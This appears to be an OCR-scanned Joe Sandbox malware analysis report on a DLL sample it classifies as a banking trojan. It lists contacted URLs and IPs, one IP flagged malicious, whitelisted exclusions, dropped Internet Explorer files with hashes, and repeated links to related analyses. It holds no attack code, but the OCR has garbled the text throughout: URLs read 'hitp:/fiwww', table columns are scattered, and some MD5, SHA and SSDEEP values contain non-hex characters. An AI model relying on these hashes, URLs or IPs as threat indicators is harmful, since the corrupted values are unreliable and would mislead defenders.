high
high

unknown

high

high

unknown

unknown

unknown

high

high

high

unknown

low

high

high

high

high

high

high
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Name

hitp:/fiwww.target.com/

hitp://https://cdn.cookielaw.org/vendorlist/googleData.json

hitp://search.orange.co.uk/favicon.ico

hitp:/fiwww.iask.com/

hitp://https://outlook.com/

hitp://https://contextual.media.net/checksync.php?
&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prv
id=77%2

hitp://https://www.msn.com/de-
ch/homepage/api/pdp/updatepdpdata”

hitp://search.centrum.cz/favicon.ico

hitp://https://cdn.cookielaw.org/vendorlist/iab2Data.json

hitp://service2.bfast.com/

hitp://https://www.msn.com/de-ch/?ocid=iehp

hitp://ariadna.elmundo.es/

hitp://www.news.com.au/favicon.ico

hitp:/fiwww.cdiscount.com/

hitp:/fiwww.tiscali.it/favicon.ico

hitp://it.search.yahoo.com/

hitp://www.ceneo.pl/favicon.ico

hitp:/fiwww.servicios.clarin.com/

hitp://search.daum.net/favicon.ico

hitp:/fiwww.kkbox.com.tw/

hitp://search.goo.ne.jp/favicon.ico

hitp://search.msn.com/results.aspx?q=

hitp://list.taobao.com/

hitp:/fiwww.nytimes.com/

hitp://www.taobao.com/favicon.ico

hitp:/fiwww.etmall.com.tw/

hitp://ie.search.yahoo.com/os?command=

hitp://www.cnet.com/favicon.ico

hitp://www.linternaute.com/favicon.ico
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Source

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

55a804ab-e5c6-4h97-9319-86263d
365d28[1].json.5.dr

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

de-ch[1].htm.5.dr
~DFFF48C403F4BCBE8L.TMP.4.dr

de-ch[1].htm.5.dr

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

55a804ab-e5c6-4h97-9319-86263d
365d28[1].json.5.dr

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

~DFFF48C403FABCBE81.TMP.4.dr

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

msapplication.xml3.4.dr

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

Reputation

high

high

unknown

unknown

high
high

high

high

high

unknown

high
high

unknown

high

high

high

high

high

high

unknown

unknown

high

high

high
high

unknown

high

high

high
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Name Source Malicious Antivirus Detection Reputation

hitp:/fwww.amazon.co.uk/ explorer.exe, 00000024.0000000 false e URL Reputation: safe unknown
0.976858944.0000000006BC3000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe

hitp://www.cdiscount.com/favicon.ico explorer.exe, 00000024.0000000 false high

0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

hitp://https://www.ricardo.ch/? de-ch[1].htm.5.dr false high
utm_source=msn&utm_medium=affiliate&utm_campaign=msn
_mestripe_logo_d

hitp://www.ashargalawsat.com/favicon.ico explorer.exe, 00000024.0000000 false e URL Reputation: safe unknown
0.976858944.0000000006BC3000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe

hitp://iwww.google.fr/ explorer.exe, 00000024.0000000 false high

0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

hitp://search.gismeteo.ru/ explorer.exe, 00000024.0000000 false high
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

hitp:fiwww.rtl.de/ explorer.exe, 00000024.0000000 false high
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

hitp://www.soso.com/favicon.ico explorer.exe, 00000024.0000000 false high
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

hitp://www.univision.com/favicon.ico explorer.exe, 00000024.0000000 false high
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

hitp://https://outlook.live.com/calendar 85-0f8009-68ddb2ab[1].js.5.dr false high

hitp://search.ipop.co.kr/ explorer.exe, 00000024.0000000 false e URL Reputation: safe unknown
0.976858944.0000000006BC3000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe

Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public

P Domain Country Flag ASN ASN Name Malicious
45.138.24.6 unknown Turkey 62068 SPECTRAIPSpectralPBVNL  true
151.101.1.44 unknown United States = 54113 FASTLYUS false
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General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:
Number of new started drivers analysed:

Number of existing processes analysed:

Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

Copyright null 2021

31.0.0 Red Diamond
343096

22.01.2021
10:21:31
CloudBasic

Oh 10m 2s

false

light

Securitelnfo.com.Generic.mg.81f401defa8faa2e.14295
(renamed file extension from 14295 to dll)

default.jbs

Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8
Update 211

39
0
0
0
1

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

L]
L]
L]
L]
default
Timeout
MAL
mal100.bank.troj.evad.winDLL@43/151@17/2
Failed
Failed

e Successful, ratio: 100%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time
e Enable AMSI
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Warnings: Show All

e Exclude process from analysis (whitelisted):
taskhostw.exe, BackgroundTransferHost.exe,
ielowutil.exe, backgroundTaskHost.exe,
WmiPrvSE.exe, svchost.exe, wuapihost.exe

e TCP Packets have been reduced to 100

e Created / dropped Files have been reduced to 100

e Excluded IPs from analysis (whitelisted):
13.64.90.137, 52.147.198.201, 88.221.62.148,
131.253.33.203, 204.79.197.200, 13.107.21.200,
92.122.213.192, 92.122.213.231, 65.55.44.109,
104.84.56.24, 51.104.139.180, 152.199.19.161,
92.122.213.247,92.122.213.194, 2.20.142.210,
2.20.142.209, 52.155.217.156, 20.54.26.129

e Excluded domains from analysis (whitelisted):
au.download.windowsupdate.com.edgesuite.net,
arc.msn.com.nsatc.net, a-0003.dc-msedge.net,
al449.dscg2.akamai.net, arc.msn.com,
e11290.dspg.akamaiedge.net,
iecvlist.microsoft.com,
db5eap.displaycatalog.md.mp.microsoft.com.akadn
s.net, go.microsoft.com, www-bing-com.dual-a-
0001.a-msedge.net,
audownload.windowsupdate.nsatc.net,
displaycatalog.mp.microsoft.com,
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net, au-bg-
shim.trafficmanager.net, www.bing.com,
displaycatalog-
europeeap.md.mp.microsoft.com.akadns.net,
skypedataprdcolwus17.cloudapp.net, dual-a-
0001.a-msedge.net, ie9comview.vo.msecnd.net,
cvision.media.net.edgekey.net,
displaycatalog.md.mp.microsoft.com.akadns.net,
ris-prod.trafficmanager.net,
ctldl.windowsupdate.com, www-msn-com.a-0003.a-
msedge.net, a767.dscg3.akamai.net,
al1999.dscg2.akamai.net,
web.vortex.data.trafficmanager.net,
e607.d.akamaiedge.net,
web.vortex.data.microsoft.com,
skypedataprdcoleus16.cloudapp.net,
ris.api.iris.microsoft.com, a-0001.a-
afdentry.net.trafficmanager.net, icePrime.a-
0003.dc-msedge.net,
blobcollector.events.data.trafficmanager.net,
go.microsoft.com.edgekey.net, static-global-s-msn-
com.akamaized.net, cs9.wpc.vOcdn.net

e Report size exceeded maximum capacity and may
have missing behavior information.

e Report size getting too big, too many
NtDeviceloControlFile calls found.

e Report size getting too big, too many
NtOpenKeyEx calls found.

e Report size getting too big, too many
NtProtectVirtualMemory calls found.

e Report size getting too big, too many
NtQueryValueKey calls found.

e Report size getting too big, too many
NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time Type Description

10:24:19 API Interceptor 36x Sleep call for process: powershell.exe modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context
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Match
151.101.1.44

Domains

Match

contextual.media.net

tls13.taboola.map.fastly.net

ASN

Match
FASTLYUS

Copyright null 2021

Associated Sample Name /| URL SHA 256
hitp:/, Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

> >
/] /]
173 173
o o
2, 2,
2 2
@ @
o o
7] (7]
o 2
3 3
i i
) )
2 2
o o
3 3
® ®
c c
A A
[l [l

Detection

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

cdn.taboo
la.com/lib
trc/wdllc-
network/lo
ader.js

Context

2.18.68.31
104.76.200.23
2.20.86.97
2.20.86.97
2.20.86.97
2.20.86.97
92.122.146.68
92.122.146.68
92.122.146.68
92.122.146.68
92.122.146.68
92.122.146.68
92.122.146.68
92.122.146.68
92.122.146.68
92.122.146.68
92.122.146.68
92.122.146.68
92.122.146.68
92.122.146.68
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44

Context

151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
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https://view.joesandbox.com/analysis/251151/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251151/html/none?idtype=webid
https://view.joesandbox.com/analysis/257445/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257445/html/none?idtype=webid
https://view.joesandbox.com/analysis/257393/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257393/html/none?idtype=webid
https://view.joesandbox.com/analysis/257366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257366/html/none?idtype=webid
https://view.joesandbox.com/analysis/257365/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257365/html/none?idtype=webid
https://view.joesandbox.com/analysis/257363/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257363/html/none?idtype=webid
https://view.joesandbox.com/analysis/257362/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257362/html/none?idtype=webid
https://view.joesandbox.com/analysis/257354/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257354/html/none?idtype=webid
https://view.joesandbox.com/analysis/257353/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257353/html/none?idtype=webid
https://view.joesandbox.com/analysis/257352/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257352/html/none?idtype=webid
https://view.joesandbox.com/analysis/257350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257350/html/none?idtype=webid
https://view.joesandbox.com/analysis/257349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257349/html/none?idtype=webid
https://view.joesandbox.com/analysis/257348/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257348/html/none?idtype=webid
https://view.joesandbox.com/analysis/257347/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257347/html/none?idtype=webid
https://view.joesandbox.com/analysis/257346/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257346/html/none?idtype=webid
https://view.joesandbox.com/analysis/257345/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257345/html/none?idtype=webid
https://view.joesandbox.com/analysis/257344/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257344/html/none?idtype=webid
https://view.joesandbox.com/analysis/257343/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257343/html/none?idtype=webid
https://view.joesandbox.com/analysis/257342/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257342/html/none?idtype=webid
https://view.joesandbox.com/analysis/257341/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257341/html/none?idtype=webid
https://view.joesandbox.com/analysis/257340/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257340/html/none?idtype=webid
https://view.joesandbox.com/analysis/257445/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257445/html/none?idtype=webid
https://view.joesandbox.com/analysis/257393/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257393/html/none?idtype=webid
https://view.joesandbox.com/analysis/257366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257366/html/none?idtype=webid
https://view.joesandbox.com/analysis/257365/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257365/html/none?idtype=webid
https://view.joesandbox.com/analysis/257363/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257363/html/none?idtype=webid
https://view.joesandbox.com/analysis/257362/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257362/html/none?idtype=webid
https://view.joesandbox.com/analysis/257354/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257354/html/none?idtype=webid
https://view.joesandbox.com/analysis/257353/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257353/html/none?idtype=webid
https://view.joesandbox.com/analysis/257352/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257352/html/none?idtype=webid
https://view.joesandbox.com/analysis/257350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257350/html/none?idtype=webid
https://view.joesandbox.com/analysis/257349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257349/html/none?idtype=webid
https://view.joesandbox.com/analysis/257348/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257348/html/none?idtype=webid
https://view.joesandbox.com/analysis/257347/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257347/html/none?idtype=webid
https://view.joesandbox.com/analysis/257346/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257346/html/none?idtype=webid
https://view.joesandbox.com/analysis/257345/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257345/html/none?idtype=webid
https://view.joesandbox.com/analysis/257344/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257344/html/none?idtype=webid
https://view.joesandbox.com/analysis/257343/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257343/html/none?idtype=webid
https://view.joesandbox.com/analysis/257342/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257342/html/none?idtype=webid
https://view.joesandbox.com/analysis/257341/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257341/html/none?idtype=webid
https://view.joesandbox.com/analysis/257340/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257340/html/none?idtype=webid
https://view.joesandbox.com/analysis/257445/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257445/html/none?idtype=webid
https://view.joesandbox.com/analysis/257393/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257393/html/none?idtype=webid
https://view.joesandbox.com/analysis/257366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257366/html/none?idtype=webid
https://view.joesandbox.com/analysis/257365/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257365/html/none?idtype=webid
https://view.joesandbox.com/analysis/257363/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257363/html/none?idtype=webid
https://view.joesandbox.com/analysis/257362/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257362/html/none?idtype=webid
https://view.joesandbox.com/analysis/257354/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257354/html/none?idtype=webid
https://view.joesandbox.com/analysis/257353/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257353/html/none?idtype=webid
https://view.joesandbox.com/analysis/257352/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257352/html/none?idtype=webid
https://view.joesandbox.com/analysis/257350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257350/html/none?idtype=webid
https://view.joesandbox.com/analysis/257349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257349/html/none?idtype=webid
https://view.joesandbox.com/analysis/257348/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257348/html/none?idtype=webid

Match Associated Sample Name /| URL SHA 256 Detection Link Context
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44

SPECTRAIPSpectralPBVNL _ Get hash malicious Browse o 4514226121
_Get hash malicious Browse e 45.14.226.101

JA3 Fingerprints

Match Associated Sample Name /| URL SHA 256 Detection Link Context

9e106921b7178228b2d4e424db3a98c [panoramicospg il I Get hash malicious Browse o 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44
_ Get hash malicious Browse e 151.101.1.44

Dropped Files

No context

Created / dropped Files

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\DOMStore\E5FONRSV\www.msn[2].xml

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 13

Entropy (8bit):  2.469670487371862

Encrypted: false

SSDEEP: 3:D90aKb:JFKb

MD5: C1DDEA3EF6BBEF3E7060A1A9AD89E4CS

SHA1L: 35E3224FCBD3E1AF306F2B6A2C6BBEA9B0867966

SHA-256: B71E4D17274636B97179BA2D97C742735B6510EB54F22893D3A2DAFF2CEB28DB

SHA-512: 6BEBCEC7C862AFAE5B37AA32DC5BB45912881A3276606DA41BF808A4EF92C318B355E616BF45A257B995520D72B7C08752C0BE445DCEADESCF79F73480910FE

D
Malicious: false
Preview:

<root></root>

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\DOMStore\URW0GA4Q\contextual.media[1].xml

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped
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https://view.joesandbox.com/analysis/257347/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257347/html/none?idtype=webid
https://view.joesandbox.com/analysis/257346/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257346/html/none?idtype=webid
https://view.joesandbox.com/analysis/257345/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257345/html/none?idtype=webid
https://view.joesandbox.com/analysis/257344/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257344/html/none?idtype=webid
https://view.joesandbox.com/analysis/257343/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257343/html/none?idtype=webid
https://view.joesandbox.com/analysis/257342/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257342/html/none?idtype=webid
https://view.joesandbox.com/analysis/257341/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257341/html/none?idtype=webid
https://view.joesandbox.com/analysis/257340/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257340/html/none?idtype=webid
https://view.joesandbox.com/analysis/256869/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256869/html/none?idtype=webid
https://view.joesandbox.com/analysis/255832/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255832/html/none?idtype=webid
https://view.joesandbox.com/analysis/257445/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257445/html/none?idtype=webid
https://view.joesandbox.com/analysis/257393/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257393/html/none?idtype=webid
https://view.joesandbox.com/analysis/257381/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257381/html/none?idtype=webid
https://view.joesandbox.com/analysis/257366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257366/html/none?idtype=webid
https://view.joesandbox.com/analysis/257365/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257365/html/none?idtype=webid
https://view.joesandbox.com/analysis/257363/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257363/html/none?idtype=webid
https://view.joesandbox.com/analysis/257362/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257362/html/none?idtype=webid
https://view.joesandbox.com/analysis/257354/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257354/html/none?idtype=webid
https://view.joesandbox.com/analysis/257353/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257353/html/none?idtype=webid
https://view.joesandbox.com/analysis/257352/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257352/html/none?idtype=webid
https://view.joesandbox.com/analysis/257350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257350/html/none?idtype=webid
https://view.joesandbox.com/analysis/257349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257349/html/none?idtype=webid
https://view.joesandbox.com/analysis/257348/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257348/html/none?idtype=webid
https://view.joesandbox.com/analysis/257347/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257347/html/none?idtype=webid
https://view.joesandbox.com/analysis/257346/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257346/html/none?idtype=webid
https://view.joesandbox.com/analysis/257345/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257345/html/none?idtype=webid
https://view.joesandbox.com/analysis/257344/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257344/html/none?idtype=webid
https://view.joesandbox.com/analysis/257343/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257343/html/none?idtype=webid
https://view.joesandbox.com/analysis/257342/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257342/html/none?idtype=webid
https://view.joesandbox.com/analysis/257341/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257341/html/none?idtype=webid

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\DOMStore\URWO0GA4Q\contextual.media[1].xml

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

2578

4.857933768218937

false

48:.LKMKMKMYMYMYMYMYMY U+MYM9iM9i+MIiM9IMWMWNMWMWCTHMWCrIMWCrIW2IX7:+ddnnnnnnU+naiai+aiai99n99CrI9Cv
F28F7E2A06838AFD6CD51FD33BDC63DC

D837966DAF903689329BB3F8690F534C0C92CES85
DE252A1E5C8ACB47893D500EDBC2D5BIA8B7B8C79D1F8DFEDD53087986A8A0D9

06730E0B79ED6C271C3B853CECABESCD53683502D802B9DDD7C4BFDIBCBEICIF12CFB40A389B61C8A7842F73C2BF3611EC02E5F05FBIDAL4EQ5471B4432A3|
Al

false

<root></root><root><item name="HBCM_BIDS" value="{}" Itime="430688080" htime="30863520" /></root><root><item name="HBCM_BIDS" value="{}" Itime="430688
080" htime="30863520" /></root><root><item name="HBCM_BIDS" value="{}" Itime="430688080" htime="30863520" /></root><root><item name="HBCM_BIDS" value="
{}" ltime="430888080" htime="30863520" /></root><root><item name="HBCM_BIDS" value="{}" ltime="430888080" htime="30863520" /></root><root><item name=
"HBCM_BIDS" value="{}" ltime="430888080" htime="30863520" /></root><root><item name="HBCM_BIDS" value="{}" Itime="430888080" htime="30863520" /></root>
<root><item name="HBCM_BIDS" value="{}" Itime="430888080" htime="30863520" /></root><root><item name="HBCM_BIDS" value="{}" ltime="430888080" htime="
30863520" /><item name="mntest" value="mntest" ltime="434408080" htime="30863520" /></root><root><item name="HBCM_BIDS" value="{}" Itime="430888080" h
time="30863520" /></root><root><item name="HBCM_BIDS" value="{}" Itime="436648080" htime="30863520"

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{53D6E16D-5C93-11EB-90EB-ECF4BBEA1588}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

Microsoft Word Document

dropped

96040

2.2232981141774406

false

384:rnhMJIU9Argp/9UHGV|NTOI129F TXHWS6/7Erv7i:rJ0g9vVQh7
F7CFD47B52A998DE91880187990D48AF
95089E0C09DD1FOFBOF69C6B292E40B12D4F3A95
BC6FFFA3F3780CEABEABO153E8EBEF1C662AF4DF70166E2F9C6C3BA269D6B051

CC63B3D286D449406F5027C398DA4B606C7D1D60CDB9S0EF44D5958BE03058AD56FDD8A159D29CAFDEDA0182F38B63D0F682542AES58E2B8C3FE2959AD097BF
A

false

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{53D6E16F-5C93-11EB-90EB-ECF4ABBEA1588}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

Microsoft Word Document

dropped

190110

3.595961401658249

false

3072:XbZ/2BfcYmu5kLTzGtWZ/2Bfc/muSkLTzGt5:yXS
2BB1F76413807119E01BC5DE9D025C27
7A06F956E337622132A328C266365443F4C9D728
FEDA85823AE321C61F26F122878AE1284E78184BBD1DBC98705D701C214FFB6E
62560050A172C37A44902AD7C66EDA38F12E87856890BDD07783918176B2CDB0D23A22338A8672B7680FD8C2AE139311A5CCBIFB753B037CF8D4FF4196233404

false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{8A523B9B-5C93-11EB-90EB-ECF4ABBEA1588}.dat

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:

Copyright null 2021

C:\Program Files\internet exploreniexplore.exe

Microsoft Word Document

dropped

27584

1.9117254983288319

false

192:ry/ZdQx76bkUFjI2IkW9IMgY pjQpG1VjQpGiFYA:ryhix+gUhcMOggoCov
FAABB7C26431DA9EA6385ECB24EBICO0
